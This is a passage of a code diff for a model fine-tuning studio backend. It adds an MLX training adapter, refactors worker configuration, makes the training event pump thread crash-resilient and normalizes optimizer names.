self.model_name = model_name + self.max_seq_length = max_seq_length + self.load_in_4bit = load_in_4bit + self._audio_type = None + self._activate_transformers_for_model(model_name, hf_token) + try: + from utils.models import detect_audio_type, is_vision_model + + self._audio_type = detect_audio_type(model_name, hf_token) + if self._audio_type == "audio_vlm": + self.is_audio = False + self.is_audio_vlm = bool(is_dataset_audio) + self._audio_type = None + else: + self.is_audio = self._audio_type is not None + self.is_audio_vlm = False + vision = is_vision_model(model_name, hf_token = hf_token) if not self.is_audio else False + self.is_vlm = not self.is_audio_vlm and vision and bool(is_dataset_image) + except Exception as exc: + logger.warning("MLX trainer adapter model type detection failed", error = str(exc)) + self.is_vlm = False + self.is_audio = False + self.is_audio_vlm = False + self.model = object() + self.tokenizer = object() + self._model_config = { + "model_name": model_name, + "max_seq_length": max_seq_length, + "load_in_4bit": load_in_4bit, + "hf_token": hf_token or "", + "is_dataset_image": bool(is_dataset_image), + "is_dataset_audio": bool(is_dataset_audio), + "trust_remote_code": bool(trust_remote_code), + "gpu_ids": gpu_ids, + } + self._update_progress( + is_training = False, + is_completed = False, + error = None, + step = 0, + loss = 0.0, + epoch = 0, + status_message = f"Queued MLX model load: {model_name}", + ) + return True + + def prepare_model_for_training( + self, + use_lora: bool = True, + finetune_vision_layers: bool = True, + finetune_language_layers: bool = True, + finetune_attention_modules: bool = True, + finetune_mlp_modules: bool = True, + target_modules: Optional[Union[list, str]] = None, + lora_r: int = 16, + lora_alpha: int = 16, + lora_dropout: float = 0.0, + use_gradient_checkpointing: Union[str, bool] = "unsloth", + use_rslora: bool = False, + use_loftq: bool = False, + ) -> bool: + self._peft_config = { + "use_lora": bool(use_lora), + "lora_r": lora_r, + "lora_alpha": lora_alpha, + "lora_dropout": lora_dropout, + "target_modules": target_modules, + "gradient_checkpointing": use_gradient_checkpointing, + "use_rslora": bool(use_rslora), + "use_loftq": bool(use_loftq), + "finetune_vision_layers": bool(finetune_vision_layers), + "finetune_language_layers": bool(finetune_language_layers), + "finetune_attention_modules": bool(finetune_attention_modules), + "finetune_mlp_modules": bool(finetune_mlp_modules), + } + self._update_progress(status_message = "Queued MLX training setup") + return True + + def load_and_format_dataset( + self, + dataset_source: Optional[str], + format_type: str = "auto", + local_datasets: Optional[list[str]] = None, + local_eval_datasets: Optional[list[str]] = None, + custom_format_mapping: Optional[dict[str, Any]] = None, + subset: Optional[str] = None, + train_split: str = "train", + eval_split: Optional[str] = None, + dataset_streaming: bool = False, + eval_steps: float = 0.00, + dataset_slice_start: Optional[int] = None, + dataset_slice_end: Optional[int] = None, + is_cpt: bool = False, + s3_config: dict = None, + ) -> Optional[tuple]: + self._dataset_config = { + "hf_dataset": dataset_source or "", + "local_datasets": local_datasets, + "local_eval_datasets": local_eval_datasets, + "format_type": format_type or "", + "custom_format_mapping": custom_format_mapping, + "subset": subset, + "train_split": train_split or "train", + "eval_split": eval_split, + "dataset_streaming": bool(dataset_streaming), + "eval_steps": eval_steps or 0.0, + "dataset_slice_start": dataset_slice_start, + "dataset_slice_end": dataset_slice_end, + "s3_config": s3_config, + } + self.is_cpt = bool(is_cpt) + self._update_progress(status_message = "Queued MLX dataset load") + return ({"dataset": [], "final_format": "deferred_mlx_cli", "success": True}, None) + + def start_training( + self, + dataset = None, + eval_dataset = None, + **training_args, + ) -> bool: + if self.is_training and self.training_thread and self.training_thread.is_alive(): + return False + if self._pump_thread and self._pump_thread.is_alive(): + self._pump_thread.join(timeout = 2.0) + if self._pump_thread.is_alive(): + self._update_progress(error = "Previous training event pump is still finalizing") + return False + if not self._model_config: + self._update_progress(error = "Model not loaded") + return False + if not self._dataset_config: + self._update_progress(error = "Dataset not loaded") + return False + if self.is_cpt: + self._update_progress( + error = "Continued Pretraining is not supported for MLX training yet.", + is_training = False, + is_completed = False, + ) + return False + + config = self._build_worker_config(training_args) + event_queue = queue.Queue() + stop_queue = queue.Queue() + self._event_queue = event_queue + self._stop_queue = stop_queue + self.should_stop = False + self.is_training = True + self.training_progress = TrainingProgress( + is_training = True, + status_message = "Initializing MLX training...", + ) + + self.training_thread = threading.Thread( + target = self._run_training_thread, + args = (config, event_queue, stop_queue), + daemon = True, + ) + self._pump_thread = threading.Thread( + target = self._pump_events, + args = (event_queue, self.training_thread), + daemon = True, + ) + self.training_thread.start() + self._pump_thread.start() + return True + + def _build_worker_config(self, training_args: dict[str, Any]) -> dict[str, Any]: + peft = { + "use_lora": True, + "lora_r": 16, + "lora_alpha": 16, + "lora_dropout": 0.0, + "target_modules": None, + "gradient_checkpointing": "unsloth", + "use_rslora": False, + "use_loftq": False, + "finetune_vision_layers": True, + "finetune_language_layers": True, + "finetune_attention_modules": True, + "finetune_mlp_modules": True, + **self._peft_config, + } + output_dir = training_args.get("output_dir") + if output_dir: + output_dir = os.path.abspath(os.path.expanduser(str(output_dir))) + values = { + **self._model_config, + **self._dataset_config, + **training_args, + "training_type": ( + "Continued Pretraining" + if self.is_cpt + else "LoRA/QLoRA" + if peft["use_lora"] + else "Full Finetuning" + ), + **peft, + "output_dir": output_dir, + "allow_external_output_dir": bool(output_dir), + } + config = _build_training_worker_config(values) + config["resolved_gpu_ids"] = None + config["gpu_selection"] = None + return config + + def _run_training_thread( + self, config: dict[str, Any], event_queue: queue.Queue, stop_queue: queue.Queue + ): + try: + self._run_mlx_worker(config, event_queue, stop_queue) + except Exception as exc: + if event_queue is not None: + event_queue.put( + { + "type": "error", + "error": str(exc), + "stack": traceback.format_exc(limit = 20), + "ts": time.time(), + } + ) + + def _run_mlx_worker( + self, config: dict[str, Any], event_queue: queue.Queue, stop_queue: queue.Queue + ): + from .worker import run_mlx_training_process + run_mlx_training_process( + event_queue = event_queue, + stop_queue = stop_queue, + config = config, + ) + + def _pump_events(self, event_queue: queue.Queue, training_thread: threading.Thread): + while True: + event = None + try: + event = event_queue.get(timeout = 0.25) + except queue.Empty: + pass + if event is not None: + self._handle_event(event) + continue + if not training_thread.is_alive(): + self._drain_events(event_queue) + with self._lock: + if self.training_progress.is_training: + self.training_progress.is_training = False + if self.should_stop: + self.training_progress.status_message = "Training stopped." + elif ( + not self.training_progress.error + and not self.training_progress.is_completed + ): + self.training_progress.error = "Training process exited unexpectedly" + self.is_training = False + self._event_queue = None + self._stop_queue = None + return + + def _drain_events(self, event_queue: Optional[queue.Queue] = None): + event_queue = event_queue or self._event_queue + if event_queue is None: + return + while True: + try: + self._handle_event(event_queue.get_nowait()) + except queue.Empty: + return + + def _handle_event(self, event: dict[str, Any]): + etype = event.get("type") + if etype == "status": + self._update_progress( + status_message = event.get("status_message") or event.get("message") or "" + ) + return + if etype == "progress": + self._update_progress( + step = event.get("step", self.training_progress.step), + epoch = event.get("epoch", self.training_progress.epoch), + loss = event.get("loss", self.training_progress.loss), + learning_rate = event.get("learning_rate", self.training_progress.learning_rate), + total_steps = event.get("total_steps", self.training_progress.total_steps), + elapsed_seconds = event.get( + "elapsed_seconds", + self.training_progress.elapsed_seconds, + ), + eta_seconds = event.get("eta_seconds", self.training_progress.eta_seconds), + grad_norm = event.get("grad_norm", self.training_progress.grad_norm), + num_tokens = event.get("num_tokens", self.training_progress.num_tokens), + eval_loss = event.get("eval_loss", self.training_progress.eval_loss), + peak_memory_gb = event.get("peak_memory_gb", self.training_progress.peak_memory_gb), + ) + return + if etype == "complete": + status_message = event.get("status_message") or "Training completed" + output_dir = event.get("output_dir") + was_cancelled = self.should_stop or status_message.strip().lower() in { + "training cancelled", + "training stopped", + } + self.output_dir = output_dir + self._update_progress( + is_training = False, + is_completed = not was_cancelled, + error = None, + status_message = status_message, + output_dir = output_dir, + ) + self.is_training = False + return + if etype == "error": + self._update_progress( + is_training = False, + is_completed = False, + error = event.get("error") or event.get("message") or "Training failed", + ) + self.is_training = False + return + + def stop_training(self, save: bool = True): + self.should_stop = True + self.save_on_stop = bool(save) + if self._stop_queue is not None: + self._stop_queue.put({"type": "stop", "save": save}) + status_message = ( + "Stopping training and saving checkpoint..." if save else "Cancelling training..." + ) + self._update_progress(status_message = status_message) + return True + + def get_training_progress(self) -> TrainingProgress: + pump_thread = self._pump_thread + training_thread = self.training_thread + if ( + pump_thread is not None + and pump_thread.is_alive() + and (training_thread is None or not training_thread.is_alive()) + and threading.current_thread() is not pump_thread + ): + pump_thread.join(timeout = 5.0) + if pump_thread is None or not pump_thread.is_alive(): + self._drain_events() + with self._lock: + return replace(self.training_progress) + + +def create_mlx_trainer_adapter(*args, **kwargs): + return _MLXTrainerAdapter(*args, **kwargs) class TrainingBackend: @@ -187,6 +736,9 @@ class TrainingBackend: self._event_queue: Any = None self._stop_queue: Any = None self._pump_thread: Optional[threading.Thread] = None + # True while a pump thread should be running; cleared on intended exits. + # Left True after an abnormal death so _ensure_pump_alive spots a crash. + self._pump_running: bool = False self._lock = threading.Lock() # Progress state (updated by pump thread from subprocess events) @@ -260,84 +812,11 @@ class TrainingBackend: logger.warning("Previous pump thread did not exit within 5s — refusing to start") return False self._pump_thread = None + # Clear a stale crash flag from a prior died pump so the watchdog can't + # treat this fresh setup as a recoverable death. + self._pump_running = False - # Build config dict for the subprocess - config = { - "model_name": kwargs["model_name"], - "training_type": kwargs.get("training_type", "LoRA/QLoRA"), - "hf_token": kwargs.get("hf_token", ""), - "load_in_4bit": kwargs.get("load_in_4bit", True), - "max_seq_length": kwargs.get("max_seq_length", 2048), - "vision_image_size": kwargs.get("vision_image_size"), - "hf_dataset": kwargs.get("hf_dataset", ""), - "local_datasets": kwargs.get("local_datasets"), - "local_eval_datasets": kwargs.get("local_eval_datasets"), - "format_type": kwargs.get("format_type", ""), - "subset": kwargs.get("subset"), - "train_split": kwargs.get("train_split", "train"), - "eval_split": kwargs.get("eval_split"), - "eval_steps": kwargs.get("eval_steps", 0.00), - "dataset_slice_start": kwargs.get("dataset_slice_start"), - "dataset_slice_end": kwargs.get("dataset_slice_end"), - "custom_format_mapping": kwargs.get("custom_format_mapping"), - "is_dataset_image": kwargs.get("is_dataset_image", False), - "is_dataset_audio": kwargs.get("is_dataset_audio", False), - "is_embedding": kwargs.get("is_embedding", False), - "num_epochs": kwargs.get("num_epochs", 3), - "learning_rate": kwargs.get("learning_rate", "2e-4"), - "embedding_learning_rate": kwargs.get("embedding_learning_rate"), - "batch_size": kwargs.get("batch_size", 2), - "gradient_accumulation_steps": kwargs.get("gradient_accumulation_steps", 4), - "warmup_steps": kwargs.get("warmup_steps"), - "warmup_ratio": kwargs.get("warmup_ratio"), - "max_steps": kwargs.get("max_steps", 0), - "save_steps": kwargs.get("save_steps", 0), - "weight_decay": kwargs.get("weight_decay", 0.001), - "max_grad_norm": kwargs.get("max_grad_norm", 0.0), - "max_grad_value": _coerce_optional_nonneg_float( - "max_grad_value", kwargs.get("max_grad_value") - ), - "max_grad_leaf_norm": _coerce_optional_nonneg_float( - "max_grad_leaf_norm", kwargs.get("max_grad_leaf_norm") - ), - "cast_norm_output_to_input_dtype": _coerce_optional_bool( - kwargs.get("cast_norm_output_to_input_dtype"), True - ), - # MLX/CUDA/embedding workers need an int (transformers.set_seed(None) raises). - "random_seed": _coerce_seed(kwargs.get("random_seed")), - "packing": kwargs.get("packing", False), - "optim": kwargs.get("optim", "adamw_8bit"), - "lr_scheduler_type": kwargs.get("lr_scheduler_type", "linear"), - "use_lora": kwargs.get("use_lora", True), - "lora_r": kwargs.get("lora_r", 16), - "lora_alpha": kwargs.get("lora_alpha", 16), - "lora_dropout": kwargs.get("lora_dropout", 0.0), - "target_modules": kwargs.get("target_modules"), - "gradient_checkpointing": kwargs.get("gradient_checkpointing", "unsloth"), - "use_rslora": kwargs.get("use_rslora", False), - "use_loftq": kwargs.get("use_loftq", False), - "train_on_completions": kwargs.get("train_on_completions", False), - "finetune_vision_layers": kwargs.get("finetune_vision_layers", True), - "finetune_language_layers": kwargs.get("finetune_language_layers", True), - "finetune_attention_modules": kwargs.get("finetune_attention_modules", True), - "finetune_mlp_modules": kwargs.get("finetune_mlp_modules", True), - "enable_wandb": kwargs.get("enable_wandb", False), - "wandb_token": kwargs.get("wandb_token"), - "wandb_project": kwargs.get("wandb_project", "unsloth-training"), - "enable_tensorboard": kwargs.get("enable_tensorboard", False), - "tensorboard_dir": kwargs.get("tensorboard_dir", "runs"), - "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"), - "trust_remote_code": kwargs.get("trust_remote_code", False), - "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"), - "gpu_ids": kwargs.get("gpu_ids"), - "s3_config": kwargs.get("s3_config"), - # Flipped to True only by the HTTP-fallback respawn after a stall. - "disable_xet": kwargs.get("disable_xet", False), - } - - # Full finetuning always runs in 16-bit; LoRA/QLoRA/CPT keep the request. - if config["training_type"] == "Full Finetuning": - config["load_in_4bit"] = False + config = _build_training_worker_config(kwargs) # Split GPU validation from placement around the VRAM hook: # * Explicit gpu_ids are validated here (raises -> the route returns 400 @@ -363,7 +842,7 @@ class TrainingBackend: ) defer_auto_selection = False - if _hw.DEVICE == _hw.DeviceType.MLX: + if should_use_mlx_training_backend(device = _hw.DEVICE): config["resolved_gpu_ids"] = None config["gpu_selection"] = None elif gpu_ids: @@ -441,16 +920,21 @@ class TrainingBackend: self._xet_fallback_used = False self._needs_xet_respawn = False - # Assign subprocess handles after state reset. - self._event_queue = event_queue - self._stop_queue = stop_queue - self._proc = proc - - # Eagerly create DB run row so it appears in history during model loading. + # Create the DB run row before the pump can consume events, so it appears + # in history during model loading and a fast terminal worker can't race the + # pump into a duplicate create/finalize. From here the pump only finalizes. self._ensure_db_run_created() - self._pump_thread = threading.Thread(target = self._pump_loop, daemon = True) - self._pump_thread.start() + # Assign handles and start the pump together under the lock so a concurrent + # poll can't see a live _proc with no pump and spawn a duplicate. + new_pump = threading.Thread(target = self._pump_loop, daemon = True) + with self._lock: + self._pump_running = False + self._event_queue = event_queue + self._stop_queue = stop_queue + self._proc = proc + self._pump_thread = new_pump + new_pump.start() return True @@ -575,6 +1059,9 @@ class TrainingBackend: except Exception: logger.error("Failed to respawn training subprocess", exc_info = True) with self._lock: + # No replacement pump will run; clear the flag so a later run can't + # inherit a stale _pump_running=True and spawn a duplicate. + self._pump_running = False self._progress.is_training = False self._progress.error = "Failed to recover stalled model download" self._ensure_db_run_created() @@ -592,10 +1079,44 @@ class TrainingBackend: self._stop_queue = stop_queue self._proc = new_proc self._pump_thread = new_pump - new_pump.start() + # Start under the lock so _ensure_pump_alive can never observe the + # new pump as a not-yet-started (dead) thread and spawn a duplicate. + new_pump.start() + + def _ensure_pump_alive(self) -> bool: + """Restart the event pump if it crashed, even after the worker exited. + + Defence in depth behind _pump_loop's guards. _pump_running stays True only + after an abnormal exit (the loop clears it on intended exits), so a True + flag plus a dead thread is an unambiguous crash. Restarts even after worker + exit so a fresh pump can drain the terminal events and finalize; otherwise + the run looks stuck "running" forever. Returns True if restarted. + """ + with self._lock: + if not self._pump_running: + return False + # A restarted pump needs the worker handle and queue to drain/finalize; + # their absence means nothing is left to recover. + if self._proc is None or self._event_queue is None: + return False + if self._pump_thread is not None and self._pump_thread.is_alive(): + return False + logger.error( + "Training event pump thread died while the worker is still running; " + "restarting it so progress updates resume." + ) + new_pump = threading.Thread(target = self._pump_loop, daemon = True) + self._pump_thread = new_pump + # Start under the lock so a concurrent _ensure_pump_alive can't see + # this thread as not-yet-started and spawn yet another pump. + new_pump.start() + return True def is_training_active(self) -> bool: """Check if training is currently active.""" + # Self-heal a crashed pump first: a dead pump must never leave the worker + # training invisibly behind a frozen UI. Cheap enough for per-second polls. + self._ensure_pump_alive() with self._lock: if self._proc is not None and self._proc.is_alive(): return True @@ -649,7 +1170,7 @@ class TrainingBackend: plot = self._create_loss_plot(progress, theme) return (plot, progress) - def refresh_plot_for_theme(self, theme: str) -> Optional[plt.Figure]: + def refresh_plot_for_theme(self, theme: str) -> "Optional[plt.Figure]": """Refresh plot with new theme.""" if theme and isinstance(theme, str) and theme in ["light", "dark"]: self.current_theme = theme @@ -696,51 +1217,87 @@ class TrainingBackend: # Event pump (background thread) # ------------------------------------------------------------------ + def _safe_handle_event(self, event: dict) -> None: + """Apply one event, swallowing any handler error. + + The pump is the only writer of the progress state every status surface + reads, so a malformed event must never propagate and kill it. + """ + try: + self._handle_event(event) + except Exception: + etype = event.get("type") if isinstance(event, dict) else type(event).__name__ + logger.exception("Training event pump: failed to handle %s event; skipping", etype) + def _pump_loop(self) -> None: - """Background thread: consume events from subprocess → update state.""" + """Background thread: consume subprocess events and update state. + + Sole writer of the in-memory progress state that /progress, /status, + /metrics and DB history read. If it exited while the worker still ran, the + run would burn GPU with events piling up while every surface froze. So no + single bad event or transient queue/DB error may end it; it returns only + through intended exits (worker gone, respawn handed off, finalized). + """ + self._pump_running = True while True: if self._proc is None or self._event_queue is None: + self._pump_running = False return - event = self._read_queue(self._event_queue, timeout_sec = 0.25) + try: + event = self._read_queue(self._event_queue, timeout_sec = 0.25) + except Exception: + # If a read keeps raising after the worker died, fall through to + # finalize instead of spinning; only retry while the worker lives. + logger.exception("Training event pump: queue read failed; continuing") + if self._proc is not None and self._proc.is_alive(): + time.sleep(0.1) + continue + event = None + if event is not None: - self._handle_event(event) + self._safe_handle_event(event) continue if self._proc.is_alive(): continue - # Process exited — drain remaining events. - for e in self._drain_queue(self._event_queue): - self._handle_event(e) + # Worker exited. Drain the backlog and finalize, guarded so a slow or + # failing DB write can't strand the thread; we return either way. + try: + for e in self._drain_queue(self._event_queue): + self._safe_handle_event(e) - # Model-load stall: respawn over HTTP instead of finalizing as failure. - # Runs on THIS exiting pump thread and starts a fresh pump (never joins - # the current thread); DB run-state is preserved. - if self._needs_xet_respawn: - self._needs_xet_respawn = False - self._respawn_worker_disable_xet() - return + # Model-load stall: respawn over HTTP instead of finalizing as failure. + # Starts a fresh pump on this thread (no self-join); it takes over + # _pump_running, so this exit leaves the flag set. + if self._needs_xet_respawn: + self._needs_xet_respawn = False + self._respawn_worker_disable_xet() + return - # Mark done if no explicit complete/error was received. - with self._lock: - if self._progress.is_training: - if self._should_stop: - self._progress.is_training = False - self._progress.status_message = "Training stopped." - else: - self._progress.is_training = False - self._progress.error = ( - self._progress.error or "Training process exited unexpectedly" - ) + # Mark done if no explicit complete/error was received. + with self._lock: + if self._progress.is_training: + if self._should_stop: + self._progress.is_training = False + self._progress.status_message = "Training stopped." + else: + self._progress.is_training = False + self._progress.error = ( + self._progress.error or "Training process exited unexpectedly" + ) - self._ensure_db_run_created() - self._finalize_run_in_db( - status = "stopped" if self._should_stop else "error", - error_message = None - if self._should_stop - else "Training process terminated unexpectedly", - ) + self._ensure_db_run_created() + self._finalize_run_in_db( + status = "stopped" if self._should_stop else "error", + error_message = None + if self._should_stop + else "Training process terminated unexpectedly", + ) + except Exception: + logger.exception("Training event pump: finalization after worker exit failed") + self._pump_running = False return def _handle_event(self, event: dict) -> None: @@ -906,17 +1463,22 @@ class TrainingBackend: self._progress.is_training = True elif etype == "complete": - self._progress.is_training = False - self._progress.is_completed = True - self._output_dir = event.get("output_dir") msg = event.get("status_message", "Training completed") + stopped = self._should_stop or msg.strip().lower() in { + "training cancelled", + "training stopped", + } + self._progress.is_training = False + self._progress.is_completed = not stopped + self._output_dir = event.get("output_dir") + self._progress.output_dir = self._output_dir self._progress.status_message = msg if not self._db_run_created and self.current_job_id and self._db_config: db_action = "create_and_finalize" else: db_action = "finalize" db_action_kwargs = { - "status": "stopped" if self._should_stop else "completed", + "status": "stopped" if stopped else "completed", "output_dir": self._output_dir, } @@ -1063,6 +1625,8 @@ class TrainingBackend: except queue.Empty: return None except (EOFError, OSError, ValueError): + # A closed/broken queue reads as "no event"; any other error is left to + # _pump_loop's guarded block, which logs and backs off. return None @staticmethod @@ -1073,7 +1637,12 @@ class TrainingBackend: events.append(q.get_nowait()) except queue.Empty: return events - except (EOFError, OSError, ValueError): + except Exception: + # A drain error must not abort finalization: return what we have so + # the run finalizes rather than wedging "active" behind a dead worker. + logger.exception( + "Training event pump: queue drain failed; finalizing with drained events" + ) return events # ------------------------------------------------------------------ @@ -1084,8 +1653,14 @@ class TrainingBackend: self, progress: TrainingProgress, theme: str = "light", - ) -> plt.Figure: - """Create training loss plot with theme-aware styling.""" + ) -> "Optional[plt.Figure]": + """Create training loss plot with theme-aware styling. + + matplotlib is loaded lazily; returns None if it is unavailable. + """ + plt = _load_pyplot() + if plt is None: + return None plt.close("all") LIGHT_STYLE = { diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py index ee59b3cfae..bccf8b3ce7 100644 --- a/studio/backend/core/training/worker.py +++ b/studio/backend/core/training/worker.py @@ -44,6 +44,7 @@ if sys.platform.startswith("linux") and "HSA_ENABLE_DXG_DETECTION" not in os.env logger = get_logger(__name__) from utils.hardware import apply_gpu_ids +from utils.training_runs import build_default_output_dir_name from utils.wheel_utils import ( direct_wheel_url, flash_attn_wheel_url, @@ -1075,7 +1076,7 @@ def _ensure_flash_attn_for_long_context(event_queue: Any, max_seq_length: int) - _send_status(event_queue, "Continuing without flash-attn") -def _activate_transformers_version(model_name: str) -> None: +def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None: """Activate the correct transformers version BEFORE any ML imports.""" # Ensure backend is on path for utils imports backend_path = str(Path(__file__).resolve().parent.parent.parent) @@ -1084,10 +1085,10 @@ def _activate_transformers_version(model_name: str) -> None: from utils.transformers_version import activate_transformers_for_subprocess - activate_transformers_for_subprocess(model_name) + activate_transformers_for_subprocess(model_name, hf_token) -def _activate_transformers_version_or_warn(model_name: str) -> None: +def _activate_transformers_version_or_warn(model_name: str, hf_token: str | None = None) -> None: """Activate the required transformers version for the MLX fast-path. Unlike the non-MLX path (which treats activation failure as fatal and @@ -1098,7 +1099,7 @@ def _activate_transformers_version_or_warn(model_name: str) -> None: is visible, while keeping the fall-through behaviour. """ try: - _activate_transformers_version(model_name) + _activate_transformers_version(model_name, hf_token) except Exception as exc: logger.warning( "Failed to activate transformers version for '%s' (MLX); " @@ -1278,32 +1279,48 @@ def _adapt_for_mlx_vlm( return adapted -_MLX_STUDIO_OPTIM_MAP = { - "adamw_8bit": "adamw", - "paged_adamw_8bit": "adamw", - "adamw_bnb_8bit": "adamw", - "paged_adamw_32bit": "adamw", - "adamw_torch": "adamw", - "adamw_torch_fused": "adamw", - "adamw": "adamw", - "adafactor": "adafactor", - "sgd": "sgd", - "adam": "adam", - "muon": "muon", - "lion": "lion", -} _MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"} +# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used +# only when mlx (Apple Silicon) is not importable so Studio config validation +# still works on non-MLX hosts. The zoo function stays the source of truth. +_MLX_STUDIO_ADAMW_ALIASES = frozenset( + ( + "adamw_8bit", + "paged_adamw_8bit", + "adamw_bnb_8bit", + "paged_adamw_32bit", + "adamw_torch", + "adamw_torch_fused", + "paged_adamw", + "adamw_32bit", + "adamw_hf", + "adamw_anyprecision", + "adamw_apex_fused", + ) +) +_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion") + + def _normalize_mlx_studio_optimizer(value): - raw = str(value or "adamw_8bit").strip().lower() try: - return _MLX_STUDIO_OPTIM_MAP[raw] - except KeyError: - supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP)) - raise ValueError( - f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}." - ) + from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name + return _normalize_mlx_optimizer_name(value or "adamw_8bit") + except (ImportError, ValueError): + # Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL + # aliases: map common adamw_* names locally so notebook defaults work. + opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower() + opt = opt.rsplit(".", 1)[-1].replace("-", "_") + if opt in _MLX_STUDIO_ADAMW_ALIASES: + opt = "adamw" + if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS: + supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS) + raise ValueError( + f"Unsupported optimizer for MLX training: {value!r}. " + f"Supported optimizers: {supported}." + ) + return opt def _normalize_mlx_studio_scheduler(value): @@ -1318,14 +1335,18 @@ def _normalize_mlx_studio_scheduler(value): def _resolve_mlx_local_dataset_files(file_paths: list) -> list[str]: - """Resolve Studio local dataset uploads without importing the GPU trainer.""" + """Resolve CLI paths and Studio local dataset uploads without importing the GPU trainer.""" from utils.paths import resolve_dataset_path all_files: list[str] = [] for dataset_file in file_paths or []: - file_path = ( - dataset_file if os.path.isabs(dataset_file) else str(resolve_dataset_path(dataset_file)) - ) + dataset_path = Path(os.path.expanduser(str(dataset_file))) + if dataset_path.is_absolute(): + file_path = str(dataset_path) + elif dataset_path.exists(): + file_path = str(dataset_path.resolve()) + else: + file_path = str(resolve_dataset_path(str(dataset_file))) file_path_obj = Path(file_path) if file_path_obj.is_dir(): @@ -1364,6 +1385,58 @@ def _mlx_local_dataset_loader_for_files(files: list[str]) -> str: raise ValueError(f"Unsupported dataset format: {files[0]}") +_MLX_WORKER_COMPLETE = "_mlx_worker_complete" + + +def _start_mlx_stop_poller(stop_queue): + import queue as _queue + import threading + + stop_save = [True] + stop_requested = [False] + trainer_ref = [None] + + def is_stop_requested(): + return stop_requested[0] + + def poll_stop(): + while True: + try: + msg = stop_queue.get(timeout = 0.25) + if msg and msg.get("type") == _MLX_WORKER_COMPLETE: + return + if msg and msg.get("type") == "stop": + stop_save[0] = msg.get("save", True) + stop_requested[0] = True + trainer = trainer_ref[0] + if trainer is not None: + trainer.stop_requested = True + return + except _queue.Empty: + continue + except (EOFError, OSError): + return + + stop_thread = threading.Thread(target = poll_stop, daemon = True) + stop_thread.start() + return stop_save, stop_requested, trainer_ref, is_stop_requested, stop_thread + + +def _resolve_mlx_output_dir(config, model_name): + from utils.paths import resolve_output_dir, default_run_dir_name + + output_dir = config.get("output_dir", "") + if not output_dir: + output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}" + return str(resolve_output_dir(output_dir)) + if config.get("allow_external_output_dir"): + output_path = Path(output_dir).expanduser() + if not output_path.is_absolute(): + output_path = Path.cwd() / output_path + return str(output_path.resolve()) + return str(resolve_output_dir(output_dir)) + + def _run_mlx_training(event_queue, stop_queue, config): """Self-contained MLX training path for Apple Silicon. @@ -1372,8 +1445,6 @@ def _run_mlx_training(event_queue, stop_queue, config): """ import time import math - import threading - import queue as _queue from pathlib import Path def _send(event_type, **kwargs): @@ -1383,31 +1454,9 @@ def _run_mlx_training(event_queue, stop_queue, config): kwargs["message"] = sm event_queue.put({"type": event_type, "ts": time.time(), **kwargs}) - _stop_save = [True] - _stop_requested = [False] - _trainer_ref = [None] - - def _is_stop_requested(): - return _stop_requested[0] - - def _poll_stop(): - while True: - try: - msg = stop_queue.get(timeout = 1.0) - if msg and msg.get("type") == "stop": - _stop_save[0] = msg.get("save", True) - _stop_requested[0] = True - trainer = _trainer_ref[0] - if trainer is not None: - trainer.stop_requested = True - return - except _queue.Empty: - continue - except (EOFError, OSError): - return - - stop_thread = threading.Thread(target = _poll_stop, daemon = True) - stop_thread.start() + _stop_save, _stop_requested, _trainer_ref, _is_stop_requested, _stop_thread = ( + _start_mlx_stop_poller(stop_queue) + ) _send("status", status_message = "Loading MLX libraries...") @@ -1534,6 +1583,7 @@ def _run_mlx_training(event_queue, stop_queue, config): hf_token = hf_token, trust_remote_code = True, approved_fingerprint = config.get("approved_remote_code_fingerprint"), + subject = config.get("subject"), ) if _rc.blocked: _send( @@ -1707,6 +1757,7 @@ def _run_mlx_training(event_queue, stop_queue, config): # sharegpt+images) and text (alpaca/sharegpt/chatml → "text" column). format_type = config.get("format_type", "") custom_format_mapping = config.get("custom_format_mapping") + dataset_final_format = "" try: from utils.datasets import format_and_template_dataset def _fmt_progress(status_message = "", **_kw): @@ -1772,6 +1823,7 @@ def _run_mlx_training(event_queue, stop_queue, config): ) if info.get("success", True): dataset = info.get("dataset", dataset) + dataset_final_format = str(info.get("final_format", "") or "").lower() if eval_dataset is not None: ev = format_and_template_dataset( eval_dataset, @@ -1812,18 +1864,14 @@ def _run_mlx_training(event_queue, stop_queue, config): # ── 5. Build output dir ── # Resolve to ~/.unsloth/studio/outputs/ so the export page finds it - from utils.paths import resolve_output_dir, ensure_dir, default_run_dir_name + from utils.paths import ensure_dir - output_dir = config.get("output_dir", "") - if not output_dir: - output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}" - output_dir = str(resolve_output_dir(output_dir)) + output_dir = _resolve_mlx_output_dir(config, model_name) ensure_dir(Path(output_dir)) # ── 6. Create trainer ── eval_steps_val = config.get("eval_steps", 0) or 0 if isinstance(eval_steps_val, float) and 0 < eval_steps_val < 1: - # Studio sometimes sends fraction-of-total-steps eval_steps_val = max(1, int(eval_steps_val * max_steps)) else: eval_steps_val = int(eval_steps_val) @@ -1874,6 +1922,9 @@ def _run_mlx_training(event_queue, stop_queue, config): eval_steps = eval_steps_val, ) + # Also gates the masking skip below, so defined outside the feature-detect block. + raw_text_mode = training_type == "Continued Pretraining" or format_type == "raw" + # Feature-detect optional fields so this PR works without the paired zoo bump. _supported_fields = getattr(MLXTrainingConfig, "__dataclass_fields__", {}) if "cast_norm_output_to_input_dtype" in _supported_fields: @@ -1887,7 +1938,6 @@ def _run_mlx_training(event_queue, stop_queue, config): if "max_grad_leaf_norm" in _supported_fields: mlx_config_kwargs["max_grad_leaf_norm"] = max_grad_leaf_norm if "append_eos" in _supported_fields: - raw_text_mode = training_type == "Continued Pretraining" or format_type == "raw" # Studio SFT formatting owns rendered examples; raw/CPT text still # needs MLX to append EOS like the CUDA raw-text path. mlx_config_kwargs["append_eos"] = bool(raw_text_mode) @@ -1908,29 +1958,27 